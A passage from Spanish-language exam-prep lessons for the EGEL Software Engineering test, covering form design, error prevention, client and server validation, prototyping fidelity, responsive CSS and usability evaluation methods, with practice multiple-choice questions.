A) Ley de Fitts.\n- B) Ley de Hick.\n- C) Ley de Pareto.\n- D) Principio de Robustez de WCAG.\n\n### Pregunta 2\nAl diseñar una aplicación bancaria móvil para dispositivos táctiles con pantallas de más de 6.5 pulgadas, el equipo de desarrollo debe decidir la ubicación del botón primario de \"Confirmar Transferencia\" para minimizar el tiempo de alcance y el esfuerzo físico del usuario operando el teléfono con una sola mano. De acuerdo con la Ley de Fitts y los estudios de ergonomía móvil, ¿cuál es la ubicación óptima para este botón?\n- A) En la esquina superior izquierda de la pantalla, para seguir el flujo natural del patrón en Z.\n- B) En el centro exacto de la pantalla, rodeado de texto explicativo en letra pequeña.\n- C) Fijado en la parte inferior de la pantalla (Bottom Bar) con un área de contacto táctil amplia (mínimo 48dp de altura).\n- D) Oculto dentro del menú hamburguesa lateral para mantener un diseño visual minimalista.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.3.7 de esta subárea).*\n","title":"2.3.2 Jerarquía visual, navegación, leyes de UX y retroalimentación de interfaz"},{"children":[],"contentMd":"# Prevención de Errores, Diseño de Formularios y Estrategias de Validación\n\nLos formularios y las interfaces de captura constituyen el principal punto de fricción, abandono y fallas operativas en los sistemas de software. Un formulario mal diseñado genera fatiga cognitiva, errores de datos en la base de datos y frustración en el usuario. En el examen EGEL de Ingeniería de Software, los reactivos de esta área evalúan la capacidad de distinguir entre tipos de errores humanos (deslices vs equivocaciones), aplicar patrones de diseño de formularios ergonómicos, estructurar arquitecturas de validación balanceadas (cliente vs servidor) y diseñar mecanismos de protección para acciones críticas y destructivas.\n\n---\n\n## 1. Psicología del Error: Deslices (Slips) vs Equivocaciones (Mistakes)\n\nDon Norman categoriza los errores humanos en dos naturalezas cognitivas radicalmente distintas:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        DESLICES VS EQUIVOCACIONES                     │\n│                                                                        │\n│   DESLIZ (Slip) ────────── Intención correcta, pero acción motriz     │\n│                            fallida o distraída.                        │\n│                            Ejemplo: Presionar \"Guardar\" en lugar de   │\n│                            \"Buscar\" porque están pegados.             │\n│                                                                        │\n│   EQUIVOCACIÓN (Mistake) ── Intención errónea; el modelo mental del   │\n│                            usuario no coincide con el del sistema.     │\n│                            Ejemplo: Pensar que \"Eliminar cuenta\" solo  │\n│                            cerraba la sesión activa.                  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Tipo de Error | Origen Cognitivo | Causa Típica en Interfaz | Estrategia de Mitigación en Diseño |\n| :--- | :--- | :--- | :--- |\n| **Desliz (Slip)** | Ejecución motriz inconsciente o falta de atención. La persona sabía qué quería hacer, pero su mano o dedo ejecutó una acción incorrecta. | Botones de \"Aceptar\" y \"Cancelar\" idénticos pegados uno junto al otro; menús contextuales muy apretados. | - **Separación física y contraste visual** entre acciones destructivas y constructivas.\u003cbr\u003e- Patrones de **Deshacer (Undo)** inmediatos.\u003cbr\u003e- Máscaras de entrada automática (formato de tarjetas de crédito o teléfonos). |\n| **Equivocación (Mistake)** | Modelo mental defectuoso o desalineado. El usuario planeó conscientemente la acción incorrecta porque comprendió mal el funcionamiento del sistema. | Terminología técnica confusa (\"Purgar caché\" vs \"Cerrar sesión\"), iconografía ambigua o reglas de negocio no comunicadas. | - **Microcopia clara y contextual** explicativa.\u003cbr\u003e- Previsualización del resultado antes de ejecutar.\u003cbr\u003e- Mensajes de advertencia comprensibles antes de acciones irreversibles. |\n\n---\n\n## 2. Patrones de Diseño de Formularios de Alto Rendimiento\n\nLa investigación empírica en usabilidad ha consolidado un conjunto de patrones que reducen el tiempo de compleción de formularios y abaten las tasas de abandono:\n\n### A. Disposición en Columna Única (Single-Column Layout)\n- **Regla de oro:** Los formularios deben estructurarse verticalmente en **una sola columna**.\n- **Fundamento:** El ojo humano realiza un escaneo vertical natural descendente uniforme. En formularios multicolumna (dos o tres columnas de campos paralelos), el usuario zigzaguea con la mirada, se confunde con el orden de tabulación (`Tab`) y omite campos con el doble de frecuencia.\n- *Excepción justificada:* Campos íntimamente acoplados por convención cultural (ej. Ciudad, Estado y Código Postal, o Nombre y Apellido en una misma fila).\n\n### B. Posición de las Etiquetas (Labels)\n- **Etiquetas superiores fijas (Top-aligned Labels):** Es la mejor práctica universal. Permite la lectura más rápida y reduce la distancia ojo-campo.\n- **Antipatrón Crítico: Placeholder como etiqueta exclusiva (*In-field labels*):**\n  - Ocurre cuando el diseñador coloca el texto guía dentro del campo gris (`\u003cinput placeholder=\"Correo electrónico\"\u003e`) y omite la etiqueta `\u003clabel\u003e` exterior para \"ahorrar espacio\".\n  - *Fallas graves:* \n    1. Al empezar a escribir, el texto guía desaparece, obligando al usuario a memorizar qué campo estaba llenando (viola *Reconocimiento antes que recuerdo*).\n    2. Si el navegador autocompleta el formulario, el usuario no puede verificar si el dato autocompletado corresponde al campo correcto.\n    3. Viola pautas de accesibilidad WCAG: los lectores de pantalla a menudo ignoran placeholders y su contraste visual suele ser inferior a 4.5:1.\n\n### C. Teclados Virtuales Adaptados (Ergonomía Móvil)\nEn entornos móviles y web responsiva, es mandatorio declarar los tipos y modos de entrada semánticos para desplegar el teclado numérico o especializado adecuado:\n- `inputmode=\"numeric\"` o `type=\"number\"` para códigos OTP y números de tarjeta.\n- `type=\"email\"` para desplegar directamente la tecla `@` y dominio `.com`.\n- `type=\"tel\"` para desplegar el teclado telefónico de marcación rápida.\n\n---\n\n## 3. Estrategias de Validación: Cliente vs Servidor\n\nUna arquitectura robusta de captura requiere sincronizar dos capas de validación con objetivos complementarios:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ARQUITECTURA DE VALIDACIÓN                      │\n│                                                                        │\n│   CLIENTE (Frontend / UI)         SERVIDOR (Backend / API)            │\n│   • Enfoque: Usabilidad y UX      • Enfoque: Seguridad e Integridad   │\n│   • Feedback inmediato e inline   • Inviolable y autoritativo         │\n│   • Formato, longitud, regex      • Unicidad en BD, saldo, permisos   │\n│   • NUNCA sustituye al backend    • NUNCA confiar ciegamente en UI    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Criterio | Validación en el Cliente (Frontend) | Validación en el Servidor (Backend) |\n| :--- | :--- | :--- |\n| **Propósito primordial** | **Experiencia de Usuario (UX):** Guía al usuario en tiempo real para corregir errores de formato sin esperar un viaje de ida y vuelta por la red (*round-trip*). | **Seguridad e Integridad del Negocio:** Protege la base de datos contra inyecciones SQL, datos maliciosos, peticiones manipuladas con cURL/Postman o scripts automatizados. |\n| **Momento de activación óptimo** | Al perder el foco del campo (**`onBlur`**) o durante la escritura solo si el usuario ya cometió un error previo (estrategia *Reward early, punish late*). | Al recibir la petición HTTP en el controlador o servicio de dominio antes de la persistencia. |\n| **Reglas que resuelve** | Formato de email con regex, contraseñas con longitud mínima requerida, coincidencia de dos campos de contraseña, campos vacíos obligatorios. | Comprobar si el correo ya está registrado en la base de datos (`UNIQUE`), validar si el usuario tiene saldo disponible, verificar firmas criptográficas. |\n| **Fiabilidad / Seguridad** | **Nula como barrera de seguridad.** Cualquier atacante puede desactivar JavaScript en el navegador o enviar un `POST` directo saltándose toda validación de UI. | **Total e inquebrantable.** Representa la única fuente de verdad autoritativa del sistema. |\n\n---\n\n## 4. Microcopia en Mensajes de Error: Pautas de Redacción\n\nLos mensajes de error deben redactarse bajo tres pilares fundamentales: **claridad**, **especificidad** y **constructividad**.\n\n| Antipatrón (Mensaje Inútil / Agresivo) | Buena Práctica (Mensaje Constructivo) | Justificación de Ingeniería |\n| :--- | :--- | :--- |\n| *\"Error en los datos ingresados.\"* | *\"Ingresa un correo electrónico válido con el formato nombre@dominio.com.\"* | Indica exactamente cuál campo falló y provee el formato esperado. |\n| *\"La fecha no puede ser anterior al día de hoy.\"* (mostrado arriba del formulario, lejos del campo) | Mensaje colocado directamente **debajo** del campo de fecha, con borde rojo y un ícono de advertencia para usuarios daltónicos. | Cumple el principio de proximidad visual y accesibilidad perceptiva. |\n| *\"Acción inválida. Código de excepción: 0x80040154\"* | *\"No se pudo procesar el pago. Verifica los fondos de tu tarjeta o intenta con otro método.\"* | Habla el lenguaje del usuario, no expone detalles técnicos internos y ofrece una ruta clara de resolución. |\n\n---\n\n## 5. Protección ante Acciones Destructivas e Irreversibles\n\nCuando una acción de usuario implica la pérdida permanente de datos (ej. eliminar un proyecto, formatear un volumen, cancelar una cuenta), la interfaz debe prevenir deslices y equivocaciones mediante dos patrones:\n\n```\nACCIONES DE BAJO/MEDIO IMPACTO            ACCIONES CRÍTICAS IRREVERSIBLES\n(Eliminar un correo o ítem)              (Eliminar una base de datos o cuenta)\n┌─────────────────────────────────┐      ┌─────────────────────────────────────┐\n│ Acción ejecutada de inmediato   │      │ Diálogo Modal Bloqueante            │\n│                 ▼               │      │                 ▼                   │\n│ Notificación flotante Snackbar  │      │ Requiere confirmación activa:       │\n│ \"Elemento eliminado [DESHACER]\" │      │ Escribir el nombre exacto del       │\n│ (Ventana de 5 a 10 segundos)    │      │ recurso para habilitar botón rojo   │\n└─────────────────────────────────┘      └─────────────────────────────────────┘\n```\n\n1. **Patrón \"Deshacer\" (Undo Pattern):**\n   - Recomendado para operaciones cotidianas de bajo y medio impacto (ej. archivar un correo en Gmail, eliminar una fila de una lista).\n   - No interrumpe el flujo de trabajo del usuario con un diálogo modal molesto (\"¿Está seguro?\"). Ejecuta la acción inmediatamente y muestra una barra flotante (*Snackbar*) con opción de revertir en un lapso de 5 a 10 segundos.\n2. **Confirmación con Fricción Positiva (*Destructive Friction*):**\n   - Recomendado para operaciones catastróficas irreversibles (ej. eliminar un repositorio en GitHub, purgar una tabla de base de datos).\n   - Un simple botón de \"Aceptar\" no basta (los usuarios desarrollan ceguera a los diálogos y presionan `Enter` por reflejo condicionado). Se exige una acción cognitiva deliberada: escribir el nombre exacto del recurso o resolver un desafío antes de desbloquear el botón destructivo.\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Validación de Alta de Clientes en Telecomunicaciones\n- **Problema:** En el registro de nuevos contratos, los promotores de campo cometen errores tipográficos frecuentes en el RFC mexicano (13 caracteres alfanuméricos) y en el código postal (5 dígitos numéricos), provocando que los contratos sean rechazados horas después en el procesamiento batch nocturno.\n- **Análisis y Decisión:**\n  - Implementar **validación inline en el cliente**: aplicar máscara de entrada automática en mayúsculas para el RFC y limitar el campo de código postal a 5 dígitos con teclado numérico en tablets (`inputmode=\"numeric\"`).\n  - Al completar los 5 dígitos del código postal, invocar una API que autocomplete Colonia, Municipio y Estado, eliminando la captura manual propensa a errores.\n  - El resultado abate el rechazo de contratos en un 94%.\n\n### Escenario B: Eliminación Accidental de Sucursales en un Sistema POS\n- **Problema:** Un gerente eliminó por error una sucursal activa completa con todo su historial de ventas porque hizo clic en un ícono de papelera pequeño que estaba a 5 píxeles del ícono de \"Editar sucursal\", y el sistema no solicitó confirmación.\n- **Análisis y Decisión:**\n  - Ocurrió un **desliz motriz** por violación de la Ley de Fitts y falta de proximidad segura.\n  - *Solución:* Separar el ícono de eliminar al extremo opuesto de la tabla, estilizarlo en color rojo atenuado y asociarle un diálogo modal de confirmación con fricción: *\"Para eliminar la sucursal Centro, escribe el nombre 'Centro' en el siguiente campo y confirma\"*. Además, implementar borrado lógico (*soft delete*) en la base de datos para permitir recuperación administrativa.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir un Desliz (Slip) con una Equivocación (Mistake).**\n\u003e - Si el usuario sabía perfectamente qué botón debía presionar, pero su dedo resbaló y pulsó el botón vecino, es un **Desliz**.\n\u003e - Si el usuario presionó el botón \"Reset\" creyendo que significaba \"Reiniciar la prueba\" cuando en realidad significaba \"Borrar todos los datos de fábrica\", es una **Equivocación** (modelo mental erróneo).\n\n\u003e **Trampa 2: Afirmar que la validación en el cliente es suficiente para proteger el sistema.**\n\u003e En reactivos de arquitectura y seguridad, la validación en el cliente solo sirve para usabilidad (retroalimentación veloz). El backend siempre debe validar todas y cada una de las entradas de manera independiente y autoritativa.\n\n\u003e **Trampa 3: Recomendar diálogos modales de \"¿Está seguro?\" para todas las acciones.**\n\u003e Los diálogos de confirmación masivos saturan al usuario (*alert fatigue*), provocando que los acepte automáticamente sin leer. Para acciones frecuentes y reversibles, el patrón óptimo es **Deshacer (Undo)**.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nDurante el uso de una plataforma de comercio electrónico, un usuario agrega 5 productos al carrito, avanza al formulario de pago e ingresa su número de tarjeta de crédito. Al presionar el botón \"Comprar\", la página se recarga por completo, todos los datos del formulario se borran y aparece un texto en la parte superior que dice: *\"Error 104: El código de seguridad CVV debe tener 3 dígitos\"*. ¿Qué conjunto de prácticas de diseño y validación se están violando gravemente en esta experiencia?\n- A) Se omitió la validación de formato en el cliente, no se preservó el estado de los campos válidos tras el fallo y el mensaje de error carece de contexto inline cercano al campo infractor.\n- B) Se utilizó validación exclusiva en el servidor, lo cual es un error porque el backend nunca debe validar números de tarjeta bancaria.\n- C) Se violó el principio de accesibilidad WCAG referente al ratio de contraste de color mínimo de 7:1.\n- D) Se violó la Ley de Hick al no dividir el formulario de pago en 10 pantallas sucesivas.\n\n### Pregunta 2\nUn desarrollador diseña una interfaz administrativa donde los usuarios pueden dar de baja servidores virtuales de producción de alta disponibilidad. ¿Cuál es el mecanismo de diseño de interacción más seguro y efectivo para prevenir eliminaciones catastróficas por descuido motriz o reflejo automático?\n- A) Un botón simple con el texto \"Eliminar\" que ejecute la acción inmediatamente sin notificaciones.\n- B) Un diálogo emergente estándar con botones \"Aceptar\" y \"Cancelar\", donde el botón \"Aceptar\" tenga el foco predeterminado al presionar Enter.\n- C) Un diálogo modal con advertencia explícita del impacto, donde el botón destructivo permanezca deshabilitado hasta que el usuario escriba manualmente el identificador o nombre exacto del servidor a eliminar.\n- D) Una notificación flotante (Snackbar) de 3 segundos que permita deshacer la eliminación mientras el servidor se destruye en segundo plano.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.3.7 de esta subárea).*\n","title":"2.3.3 Prevención de errores, diseño de formularios y estrategias de validación"},{"children":[],"contentMd":"# Prototipado, Diseño Responsive y Métodos de Evaluación de Usabilidad\n\nEl ciclo de vida del diseño de interacción exige validar las decisiones de interfaz antes y durante la codificación para mitigar el riesgo de construir sistemas no utilizables. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la selección del nivel adecuado de fidelidad de prototipos, la aplicación rigurosa de principios de diseño responsivo (*Mobile-First*) y el conocimiento metodológico para seleccionar y ejecutar técnicas de evaluación de usabilidad (evaluaciones heurísticas, recorridos cognitivos, pruebas con usuarios y pruebas A/B).\n\n---\n\n## 1. Niveles de Fidelidad en Prototipos de Software\n\nUn **prototipo** es una representación interactiva o visual tangible de un sistema que permite explorar requerimientos, probar hipótesis de diseño y evaluar la interacción humana. Se clasifican según su grado de fidelidad:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        NIVELES DE FIDELIDAD                            │\n│                                                                        │\n│   BAJA FIDELIDAD          MEDIA FIDELIDAD         ALTA FIDELIDAD       │\n│   (Bocetos en papel)      (Wireframes digitales)  (Mockups interactivos│\n│   • Costo: Mínimo         • Costo: Moderado       • Costo: Alto        │\n│   • Velocidad: Horas      • Velocidad: Días       • Velocidad: Semanas │\n│   • Foco: Concepto, flujo • Foco: Layout, jerarquía• Foco: UI, micro-  │\n│     y estructura            y navegación            interacción, color │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Nivel de Fidelidad | Herramientas y Materiales | Ventajas de Ingeniería | Desventajas / Limitaciones | Momento Óptimo de Aplicación |\n| :--- | :--- | :--- | :--- | :--- |\n| **Baja Fidelidad (Low-Fi)** | Papel, lápiz, notas adhesivas, pizarra blanca (*Sketches*, *Paper Prototyping*). | - Costo casi nulo.\u003cbr\u003e- Permite descartar ideas rápidamente sin apego emocional.\u003cbr\u003e- Los usuarios y directivos se enfocan en la lógica de negocio y no en colores o tipografías. | - No permite evaluar tiempos de respuesta reales ni interacciones táctiles complejas.\u003cbr\u003e- Requiere un facilitador humano que \"actúe\" como computadora. | **Fase de ideación temprana y definición inicial de requerimientos.** Exploración rápida de alternativas con stakeholders. |\n| **Media Fidelidad (Mid-Fi)** | Herramientas de wireframing (Balsamiq, Wireframe.cc), escala de grises. | - Define la distribución espacial (*layout*), jerarquía visual y arquitectura de información sin distracciones cosméticas.\u003cbr\u003e- Permite validar flujos de navegación básicos. | - No refleja la estética final ni microinteracciones precisas.\u003cbr\u003e- Los usuarios pueden percibirlo como un producto \"inacabado\". | **Fase de diseño estructural y validación de arquitectura de información.** Validación de navegación entre pantallas. |\n| **Alta Fidelidad (Hi-Fi)** | Figma, Adobe XD, Axure, código HTML/CSS interactivo. | - Look-and-feel idéntico al producto final.\u003cbr\u003e- Permite evaluar microinteracciones, animaciones, tipografía, accesibilidad y tiempos de reacción motriz.\u003cbr\u003e- Validación fidedigna con usuarios finales. | - Alto costo de construcción y mantenimiento.\u003cbr\u003e- Modificar la arquitectura estructural en esta fase es costoso en tiempo.\u003cbr\u003e- Los usuarios pueden enfocarse en detalles cosméticos menores. | **Fase de validación final previa al desarrollo frontend y pruebas de usabilidad cuantitativas formales.** |\n\n---\n\n## 2. Diseño Responsive y Filosofía Mobile-First\n\nEl diseño web responsivo (*Responsive Web Design* - RWD) adapta dinámicamente la disposición, contenido y controles de la interfaz a cualquier tamaño de pantalla, resolución y orientación de dispositivo (móvil, tableta, laptop, monitor 4K).\n\n### Filosofía Mobile-First (Móvil Primero)\n- **Principio:** Diseñar y codificar la interfaz primero para las pantallas móviles más pequeñas y con mayores restricciones de ancho de banda y procesamiento, y posteriormente expandir progresivamente la experiencia hacia pantallas más grandes (*Progressive Enhancement*).\n- **Justificación Técnica:**\n  - Obliga al equipo a jerarquizar y priorizar el contenido esencial, eliminando elementos superfluos.\n  - Genera un código CSS más limpio y modular utilizando Media Queries basadas en anchos mínimos: `@media (min-width: 768px)` en lugar de `@media (max-width: ...)` que sobrescribe estilos heredados pesados.\n  - Reduce el tiempo de carga en dispositivos móviles al no obligarlos a descargar imágenes gigantes de escritorio ocultas mediante `display: none`.\n\n### Herramientas de Maquetación: CSS Grid vs Flexbox\n\n| Criterio | Flexbox (Flexible Box Layout) | CSS Grid Layout |\n| :--- | :--- | :--- |\n| **Dimensionalidad** | **Unidimensional:** Diseñado para distribuir elementos en una sola dimensión (en fila horizontal `row` **o** en columna vertical `column`). | **Bidimensional:** Diseñado para maquetar filas y columnas simultáneamente en una cuadrícula coordinada. |\n| **Enfoque de diseño** | *Content-first:* El tamaño del contenedor se adapta al contenido de los elementos hijos. | *Layout-first:* La estructura de la cuadrícula define las áreas y los elementos se posicionan en ellas. |\n| **Caso de uso ideal** | Barras de navegación, grupos de botones, alineación vertical de un ícono con texto, distribución de tarjetas en una sola fila. | Estructura general de una página web (encabezado, barra lateral, contenido principal y pie), galerías fotográficas complejas, dashboards analíticos. |\n\n### Unidades de Medida en Interfaces Modernas\n- **Píxeles (`px`):** Unidad fija absoluta. Útil para bordes delgados (`1px solid black`) o sombras precisas, pero perjudicial para tipografía porque ignora las preferencias de zoom y tamaño de fuente configuradas por usuarios con debilidad visual en su navegador.\n- **Unidades Relativas (`rem`):** Relativa al tamaño de fuente de la raíz (`\u003chtml\u003e`). Es la unidad estándar recomendada para tipografía y espaciados responsivos y accesibles. Si el usuario cambia el tamaño base de fuente en su sistema a 20px, todo el sitio escala proporcional y armónicamente.\n- **Unidades de Viewport (`vw`, `vh`):** Porcentaje del ancho y alto visible del navegador. Útiles para secciones *hero* a pantalla completa (`height: 100vh`).\n\n---\n\n## 3. Métodos de Evaluación de Usabilidad\n\nLa evaluación de usabilidad es el conjunto de metodologías aplicadas para identificar problemas de diseño y verificar el cumplimiento de métricas de efectividad, eficiencia y satisfacción. Se dividen en **métodos de inspección (sin usuarios)** y **métodos empíricos (con usuarios)**:\n\n```\n                          MÉTODOS DE EVALUACIÓN DE USABILIDAD\n                                           │\n         ┌─────────────────────────────────┴─────────────────────────────────┐\n         ▼                                                                   ▼\nMÉTODOS DE INSPECCIÓN (Expertos)                            MÉTODOS EMPÍRICOS (Usuarios)\n• Inspección Heurística (Nielsen: 3-5 evaluadores)          • Pruebas Moderadas (Think-Aloud Protocol)\n• Recorrido Cognitivo (Cognitive Walkthrough)               • Pruebas No Moderadas (Grabadas en remoto)\n• Auditoría de Accesibilidad (WCAG Checklist)               • Pruebas A/B (A/B Testing Estadístico)\n                                                            • Eye-Tracking y Mapas de Calor (Heatmaps)\n```\n\n### A. Métodos de Inspección (Basados en Expertos)\n\n1. **Inspección Heurística (Heuristic Evaluation):**\n   - *Procedimiento:* Un panel de 3 a 5 evaluadores expertos en usabilidad inspecciona la interfaz de forma independiente cotejándola contra un conjunto de principios reconocidos (como las 10 heurísticas de Nielsen). Luego consolidan sus hallazgos en un reporte priorizado por severidad (0 = no es problema, 4 = catástrofe de usabilidad).\n   - *Razón de 3 a 5 evaluadores:* Según los estudios matemáticos de Nielsen y Landauer, un solo evaluador solo detecta alrededor del 35% de los problemas de usabilidad; un equipo de 5 evaluadores descubre más del 75% al 85% de los problemas con el mejor retorno de inversión (ROI).\n2. **Recorrido Cognitivo (Cognitive Walkthrough):**\n   - *Procedimiento:* Los evaluadores analizan paso a paso cada acción que un usuario novato debe realizar para completar una tarea específica, respondiendo a cuatro preguntas clave:\n     1. *¿Intentará el usuario lograr el efecto correcto?*\n     2. *¿Notará el usuario que la acción correcta está disponible?*\n     3. *¿Asociará el usuario la acción correcta con el efecto deseado?*\n     4. *¿Verá el usuario que se está progresando hacia su meta?*\n   - *Enfoque:* Evaluar la facilidad de aprendizaje (*learnability*) del sistema sin capacitación previa.\n\n### B. Métodos Empíricos (Basados en Usuarios Reales)\n\n1. **Pruebas de Usabilidad de Laboratorio con Protocolo de Pensamiento en Voz Alta (*Think-Aloud Protocol*):**\n   - El participante realiza tareas representativas mientras verbaliza continuamente sus pensamientos, dudas, intenciones y confusiones en voz alta.\n   - Es el método cualitativo más poderoso para entender el **modelo mental** del usuario y descubrir por qué comete errores.\n2. **Pruebas A/B (A/B Testing):**\n   - *Procedimiento:* Se distribuye aleatoriamente el tráfico real entre dos versiones de una interfaz: la versión A (control) y la versión B (variante con una hipótesis de cambio específica, como un nuevo color o ubicación de botón).\n   - *Métricas:* Conversión cuantitativa (% de registros, clics, ventas).\n   - *Requisito:* Exige tráfico web suficiente para alcanzar significancia estadística ($p \u003c 0.05$) y aislar variables (cambiar un elemento a la vez).\n\n---\n\n## 4. Comparativa de Métodos de Evaluación\n\n| Criterio | Inspección Heurística | Recorrido Cognitivo | Pruebas de Usabilidad (Think-Aloud) | Pruebas A/B |\n| :--- | :--- | :--- | :--- | :--- |\n| **Participantes** | 3 a 5 expertos en usabilidad (sin usuarios). | Expertos en diseño/ingeniería (sin usuarios). | 5 a 8 usuarios representativos del público objetivo. | Miles de usuarios reales en producción. |\n| **Tipo de datos** | Cualitativos (lista de heurísticas violadas y severidad). | Cualitativos (barreras cognitivas en cada paso). | Cualitativos (frustraciones, modelo mental) y cuantitativos (tiempo, errores). | Estrictamente cuantitativos (tasas de conversión, clics). |\n| **Costo y tiempo** | Rápido y de bajo costo; realizable en pocos días. | Muy rápido; aplicable en etapas tempranas sobre wireframes. | Moderado a alto (reclutamiento, logística, compensación a usuarios). | Bajo en costo humano directo, pero requiere plataforma de experimentación y alto volumen de tráfico. |\n| **Momento del ciclo** | Desde prototipos de media fidelidad hasta sistemas terminados. | Prototipos tempranos de baja o media fidelidad. | Prototipos interactivos de alta fidelidad o versiones beta funcionales. | Sistema en producción con tráfico activo. |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Startup Fintech con Presupuesto Limitado en Fase Semilla\n- **Problema:** Una startup está ideando un nuevo sistema de préstamos inmediatos y necesita validar la propuesta de valor y el flujo de navegación básico en 5 días antes de empezar a programar una sola línea de código.\n- **Decisión metodológica:**\n  - Crear **prototipos de baja fidelidad en papel / sketches** y realizar pruebas de usabilidad de guerrilla con 5 usuarios en cafeterías mediante simulación de asistente.\n  - Permite reestructurar completamente el flujo de solicitud en cuestión de horas a costo cero, evitando semanas de desarrollo y refactorización innecesaria.\n\n### Escenario B: Discrepancia sobre la Posición del Botón de Suscripción en un Medio Digital\n- **Problema:** El equipo de marketing insiste en que el botón de suscripción debe ser amarillo y estar en el encabezado superior; el equipo de UX sostiene que debe ser azul y ubicarse al final de cada artículo con un resumen de beneficios.\n- **Decisión metodológica:**\n  - Implementar una **prueba A/B controlada** en producción: el 50% de los visitantes ve la versión A y el otro 50% ve la versión B durante dos semanas.\n  - La decisión se toma basada en datos estadísticos reales de tasa de conversión con significancia demostrada, eliminando debates subjetivos de opinión interna.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que una inspección heurística la realizan usuarios finales.**\n\u003e Las inspecciones heurísticas las realizan **expertos en usabilidad o ingenieros capacitados**, no los usuarios finales. Si participan usuarios reales realizando tareas, se trata de una prueba de usabilidad empírica (*usability testing*), no de una evaluación heurística.\n\n\u003e **Trampa 2: Afirmar que se necesitan cientos de usuarios para pruebas de usabilidad cualitativas.**\n\u003e Para pruebas de usabilidad formativas cualitativas (*Think-Aloud*), Jakob Nielsen demostró que **5 usuarios son suficientes para descubrir el 85% de los problemas de usabilidad**. Probar con 100 usuarios en esta modalidad es un desperdicio de recursos porque los hallazgos se vuelven repetitivos.\n\n\u003e **Trampa 3: Iniciar el diseño directamente en alta fidelidad (código o Figma final).**\n\u003e Crear directamente prototipos de alta fidelidad en etapas tempranas genera resistencia al cambio en el equipo debido al tiempo invertido (*falacia del costo hundido*) y desvía la atención de los clientes hacia tipografías y colores en lugar de validar la lógica de negocio.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUna empresa de software desea evaluar una nueva plataforma web antes de comenzar su desarrollo. No cuenta con presupuesto para reclutar usuarios finales externos en esta fase inicial, pero dispone de 4 especialistas en interacción humano-computadora en su equipo de ingeniería. ¿Cuál es el método de evaluación de usabilidad más adecuado, riguroso y de mejor retorno de inversión para esta etapa?\n- A) Prueba A/B en un entorno de pruebas cerrado.\n- B) Inspección heurística realizada de forma independiente por los 4 especialistas cotejando la interfaz contra principios reconocidos.\n- C) Despliegue de un prototipo de alta fidelidad funcional en producción para medir la tasa de rebote con analítica web.\n- D) Encuesta masiva con escala Likert distribuida por correo electrónico.\n\n### Pregunta 2\nAl diseñar las hojas de estilo (CSS) de un portal gubernamental responsivo, el equipo debe garantizar que los usuarios con baja visión que configuran un tamaño de fuente aumentado en las preferencias de su navegador (por ejemplo, 24px en lugar del estándar de 16px) vean todo el texto y espaciados del sitio adaptados proporcionalmente sin desbordar los contenedores. ¿Qué unidad de medida tipográfica debe emplearse prioritariamente para cumplir este requerimiento?\n- A) Píxeles (`px`), ya que fijan el tamaño de forma exacta e inmutable en cualquier pantalla.\n- B) Centímetros (`cm`), por ser una unidad del sistema métrico internacional.\n- C) Unidades `rem`, ya que se calculan dinámicamente como múltiplos del tamaño de fuente raíz del navegador del usuario.\n- D) Puntos (`pt`), por ser la medida estándar de impresión tipográfica fija.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 2.3.7 de esta subárea).*\n","title":"2.3.4 Prototipado, diseño responsive y métodos de evaluación de usabilidad"},{"children":[],"contentMd":"# Escenarios Profesionales de Decisión en Diseño de Interacción y UX\n\nEn el EGEL de CENEVAL, los reactivos de mayor nivel cognitivo no te preguntan definiciones memorísticas simples, sino que te sitúan en **casos de estudio organizacionales complejos** donde debes seleccionar la arquitectura de interacción, la técnica de evaluación o el patrón de diseño de interfaz óptimo bajo fuertes restricciones de accesibilidad, ergonomía, tiempo y tolerancia al error.\n\nEsta lección analiza cuatro macro-escenarios profesionales representativos del examen.\n\n---\n\n## 1. Escenario 1: Sistema de Prescripción Médica en Urgencias Hospitalarias\n\n### Contexto y Restricciones\n- **Dominio:** Sala de urgencias de un hospital de tercer nivel.\n- **Usuarios:** Médicos y enfermeros que operan bajo estrés extremo, fatiga por turnos nocturnos, usando guantes quirúrgicos y pantallas táctiles de grado médico.\n- **Riesgo crítico:** Una dosis equivocada de medicamento (ej. prescribir 100 mg en lugar de 10 mg) o una interacción con alergias conocidas del paciente puede ser mortal.\n- **Restricción operativa:** Los médicos no disponen de tiempo para navegar por formularios de 8 páginas ni diálogos modales innecesarios para medicamentos inocuos.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│               SISTEMA DE PRESCRIPCIÓN MÉDICA DE URGENCIAS             │\n│                                                                        │\n│   Prescripción Estándar:                Prescripción de Alto Riesgo:   │\n│   • Autocompletado inteligente          • Alerta bloqueante modal      │\n│   • Dosis sugerida por peso             • Fondo contrastante (amarillo)│\n│   • Un solo toque de confirmación       • Requiere confirmación doble  │\n│   • Teclado numérico grande             • Código de validación médico  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Alternativas de Diseño Evaluadas\n1. *Alternativa A:* Formulario de texto libre para máxima velocidad de escritura donde el médico teclea la dosis y el nombre del fármaco sin restricciones.\n2. *Alternativa B:* Interfaz basada en menús jerárquicos de 5 niveles con diálogo modal de confirmación (\"¿Está seguro?\") en cada medicamento prescrito.\n3. *Alternativa C:* Sistema guiado con campos estructurados, selección de fármacos mediante búsqueda predictiva con nombres comerciales y genéricos, cálculo automático de dosis sugerida basada en el peso/edad del expediente y **alertas de interacción estratificadas por severidad**.\n\n### Decisión de Ingeniería Justificada\n- **Solución seleccionada:** **Alternativa C**.\n- **Fundamentación:**\n  - *Prevención de errores (Heurística 5 de Nielsen):* El texto libre (Alternativa A) propicia deslices tipográficos mortales.\n  - 